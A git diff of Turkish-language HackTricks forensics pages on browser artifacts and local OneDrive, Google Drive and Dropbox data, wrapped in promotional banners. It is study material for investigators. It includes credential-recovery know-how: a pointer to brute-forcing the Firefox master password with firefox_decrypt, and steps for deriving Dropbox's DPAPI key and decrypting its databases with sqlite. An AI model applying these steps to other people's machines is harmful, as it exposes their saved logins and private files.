Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest'i**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.\ [**Trickest**]'i(https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -37,7 +37,7 @@ Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli v
* **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgiler için faydalıdır. * **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgiler için faydalıdır.
* **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler. * **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
* **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları. * **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları.
* **Form Verileri**: Web formlarına girilen bilgiler, gelecekte otomatik doldurma önerileri için kaydedilir. * **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için kaydedilir.
* **Küçük Resimler**: Web sitelerinin önizleme görüntüleri. * **Küçük Resimler**: Web sitelerinin önizleme görüntüleri.
* **Özel Sözlük.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler. * **Özel Sözlük.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler.
@ -56,7 +56,7 @@ Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
* **places.sqlite**: Geçmişi, yer imlerini ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gibi araçlar geçmiş verilerine erişebilir. * **places.sqlite**: Geçmişi, yer imlerini ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gibi araçlar geçmiş verilerine erişebilir.
* Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorgularını kullanın. * Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorgularını kullanın.
* **bookmarkbackups**: Yer imlerinin yedeklerini içerir. * **bookmarkbackups**: Yer imlerinin yedeklerini içerir.
* **formhistory.sqlite**: Web formu verilerini saklar. * **formhistory.sqlite**: Web form verilerini saklar.
* **handlers.json**: Protokol işleyicilerini yönetir. * **handlers.json**: Protokol işleyicilerini yönetir.
* **persdict.dat**: Özel sözlük kelimeleri. * **persdict.dat**: Özel sözlük kelimeleri.
* **addons.json** ve **extensions.sqlite**: Yüklenen eklenti ve uzantı bilgileri. * **addons.json** ve **extensions.sqlite**: Yüklenen eklenti ve uzantı bilgileri.
@ -64,15 +64,15 @@ Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
* **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) gibi araçlar aracılığıyla erişilebilir. * **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) gibi araçlar aracılığıyla erişilebilir.
* **favicons.sqlite**: Favikonları saklar. * **favicons.sqlite**: Favikonları saklar.
* **prefs.js**: Kullanıcı ayarları ve tercihleri. * **prefs.js**: Kullanıcı ayarları ve tercihleri.
* **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir. * **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'e entegre edilmiştir.
* **thumbnails**: Web sitesi küçük resimleri. * **thumbnails**: Web sitesi küçük resimleri.
* **logins.json**: Şifrelenmiş giriş bilgileri. * **logins.json**: Şifrelenmiş giriş bilgileri.
* **key4.db** veya **key3.db**: Hassas bilgileri güvence altına alan şifreleme anahtarlarını saklar. * **key4.db** veya **key3.db**: Hassas bilgileri güvence altına alan şifreleme anahtarlarını saklar.
Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakılıp bırakılmadığını kontrol edebilirsiniz. Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakıldığını belirleyebilirsiniz.
Ana şifreyi çözmek için şu adresten [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) yararlanabilirsiniz\ Ana şifreyi çözmek için şu adresten yararlanabilirsiniz: [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Aşağıdaki betik ve çağrı ile kaba kuvvetle bir şifre dosyası belirleyebilirsiniz: Aşağıdaki betik ve çağrı ile bir şifre dosyası belirterek kaba kuvvet uygulayabilirsiniz:
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -101,13 +101,13 @@ Bu dizinlerde, kullanıcı verilerinin çoğu **Default/** veya **ChromeDefaultD
- **Bookmarks**: Kullanıcı yer imleri. - **Bookmarks**: Kullanıcı yer imleri.
- **Web Data**: Form geçmişini içerir. - **Web Data**: Form geçmişini içerir.
- **Favicons**: Web sitesi faviconlarını saklar. - **Favicons**: Web sitesi faviconlarını saklar.
- **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir. - **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimliklerini içerir.
- **Current Session**/**Current Tabs**: Geçerli gezinme oturumu ve açık sekmeler hakkında veriler. - **Current Session**/**Current Tabs**: Geçerli gezinme oturumu ve açık sekmeler hakkında veriler.
- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturum sırasında aktif olan siteler hakkında bilgi. - **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi.
- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler. - **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler.
- **Thumbnails**: Web sitesi minik resimlerini saklar. - **Thumbnails**: Web sitesi küçük resimlerini saklar.
- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya. - **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya.
- **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın. - **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` ifadesini arayın.
## **SQLite DB Veri Kurtarma** ## **SQLite DB Veri Kurtarma**
@ -119,19 +119,19 @@ Internet Explorer 11, depolanan bilgileri ve ilgili ayrıntıları kolay erişim
### Metadata Depolama ### Metadata Depolama
Internet Explorer için metadata `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektiğini gösterebilir. Bu ESE veritabanında bulunan metadata, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin depolandığı belirli tabloları veya konteynerleri ayırt edebilirsiniz, Skype gibi diğer Microsoft araçları için önbellek ayrıntılarını içerir. Internet Explorer için metadata `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu durumda `esentutl /r V01 /d` kullanılarak onarım yapılması gerekebilir. Bu ESE veritabanında bulunan metadata, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin depolandığı belirli tabloları veya konteynerleri ayırt edebilir ve Skype gibi diğer Microsoft araçları için önbellek ayrıntılarını görebilirsiniz.
### Önbellek İnceleme ### Önbellek İnceleme
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesine olanak tanır, önbellek veri çıkarma klasör konumunu gerektirir. Önbellek için metadata, dosya adı, dizin, erişim sayısı, URL kökeni ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir. [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesine olanak tanır ve önbellek veri çıkarma klasör konumunu gerektirir. Önbellek için metadata, dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
### Çerez Yönetimi ### Çerezler Yönetimi
Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, metadata isimleri, URL'ler, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır. Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir ve metadata, isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır.
### İndirme Ayrıntıları ### İndirme Detayları
İndirme metadata'sı [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir, belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri içerir. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir. İndirme metadata'sı [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir ve URL, dosya türü ve indirme konumu gibi belirli konteynerler verileri içerir. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
### Gezinti Geçmişi ### Gezinti Geçmişi
@ -162,17 +162,17 @@ Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar ş
- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın. - **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın.
- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın. - **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın.
- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın. - **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın.
- **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı özelliğin etkin olduğunu gösterir. - **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı, özelliğin etkin olduğunu gösterir.
## Opera ## Opera
Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve Chrome'un geçmiş ve indirme formatını paylaşır. Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve Chrome'un geçmiş ve indirme formatını paylaşır.
- **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled`in `true` olarak ayarlandığını kontrol ederek doğrulayın, bunu `grep` kullanarak yapabilirsiniz. - **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled` ayarının `true` olarak ayarlanıp ayarlanmadığını `grep` kullanarak doğrulayın.
Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan gezinme verilerine erişmek ve anlamak için önemlidir. Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan gezinme verilerine erişmek ve anlamak için önemlidir.
* Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **HackTricks'te şirketinizin reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubumuza**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** adresinden takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'larınızı göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. * **Hacking püf noktalarınızı paylaşın, PR'larınızı göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.

View file

@ -10,11 +10,11 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
@ -35,7 +35,7 @@ Windows'ta, OneDrive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Micros
* Rapor oluşturma zamanı * Rapor oluşturma zamanı
* İşletim sisteminin HD boyutu * İşletim sisteminin HD boyutu
CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramanız önerilir**. _**\<CID>.ini**_ ve _**\<CID>.dat**_ adında dosyalar bulabilir ve bu dosyalarda OneDrive ile senkronize edilen dosyaların adlarını içerebilecek ilginç bilgiler bulabilirsiniz. CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramak** tavsiye edilir. _**\<CID>.ini**_ ve _**\<CID>.dat**_ adında dosyalar bulabilir ve bu dosyalarda OneDrive ile senkronize edilen dosyaların adları gibi ilginç bilgiler bulabilirsiniz.
## Google Drive ## Google Drive
@ -44,12 +44,12 @@ Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaları
**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adı**, değiştirilme zamanı, boyut ve dosyaların MD5 karma değeri bulunabilir. **`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adı**, değiştirilme zamanı, boyut ve dosyaların MD5 karma değeri bulunabilir.
Veritabanının **`Sync_config.db`** tablo verileri hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. Veritabanının **`Sync_config.db`** tablo verileri, hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir.
## Dropbox ## Dropbox
Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\ Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\
Veritabanlarını şu klasörlerde bulabilirsiniz: Veritabanlarını aşağıdaki klasörlerde bulabilirsiniz:
* `\Users\<kullanıcıadı>\AppData\Local\Dropbox` * `\Users\<kullanıcıadı>\AppData\Local\Dropbox`
* `\Users\<kullanıcıadı>\AppData\Local\Dropbox\Instance1` * `\Users\<kullanıcıadı>\AppData\Local\Dropbox\Instance1`
@ -62,7 +62,7 @@ Ve ana veritabanları şunlardır:
* Deleted.dbx * Deleted.dbx
* Config.dbx * Config.dbx
".dbx" uzantısı, veritabanlarının **şifreli olduğu** anlamına gelir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) ".dbx" uzantısı, veritabanlarının **şifreli olduğu** anlamına gelir. Dropbox, **DPAPI**'yi kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz. Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz.
@ -84,9 +84,9 @@ Ardından [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_d
![](<../../../.gitbook/assets/image (448).png>) ![](<../../../.gitbook/assets/image (448).png>)
Her şey beklediğiniz gibi giderse, araç **kullanmanız gereken birincil anahtarı** belirtecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntı içindeki birincil anahtarı "şifre" olarak kullanarak kullanabilirsiniz. Her şey beklenildiği gibi giderse, araç **kurtarmanız gereken birincil anahtarı** belirtecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntı içindeki birincil anahtarı "parola" olarak kullanarak kullanın.
Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan son anahtardır ve şununla şifrelenmiş veritabanlarını çözebilirsiniz: Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan nihai anahtardır ve şununla şifrelenmiş veritabanlar şifresi çözülebilir:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
@ -98,7 +98,7 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
- **Host\_id**: Buluta kimlik doğrulamak için kullanılan hash. Bu sadece web üzerinden iptal edilebilir. - **Host\_id**: Buluta kimlik doğrulamak için kullanılan hash. Bu sadece web üzerinden iptal edilebilir.
- **Root\_ns**: Kullanıcı kimliği - **Root\_ns**: Kullanıcı kimliği
**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal` şudur: **`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal` şunlardır:
- **Server\_path**: Sunucu içinde dosyanın bulunduğu yol (bu yol, istemcinin `host_id`'si tarafından önce gelir). - **Server\_path**: Sunucu içinde dosyanın bulunduğu yol (bu yol, istemcinin `host_id`'si tarafından önce gelir).
- **local\_sjid**: Dosyanın sürümü - **local\_sjid**: Dosyanın sürümü
@ -107,30 +107,30 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir: Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir:
- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'i - **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'leri
- **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir - **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir
- **mount\_table**: Dropbox'un paylaşılan klasörleri - **mount\_table**: Dropbox'un paylaşılan klasörleri
- **deleted\_fields**: Silinen Dropbox dosyaları - **deleted\_fields**: Silinen Dropbox dosyaları
- **date\_added** - **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! - **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin - [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**. - 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
- **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**. - **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,11 +2,11 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
@ -14,7 +14,7 @@ HackTricks'ı desteklemenin diğer yolları:
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
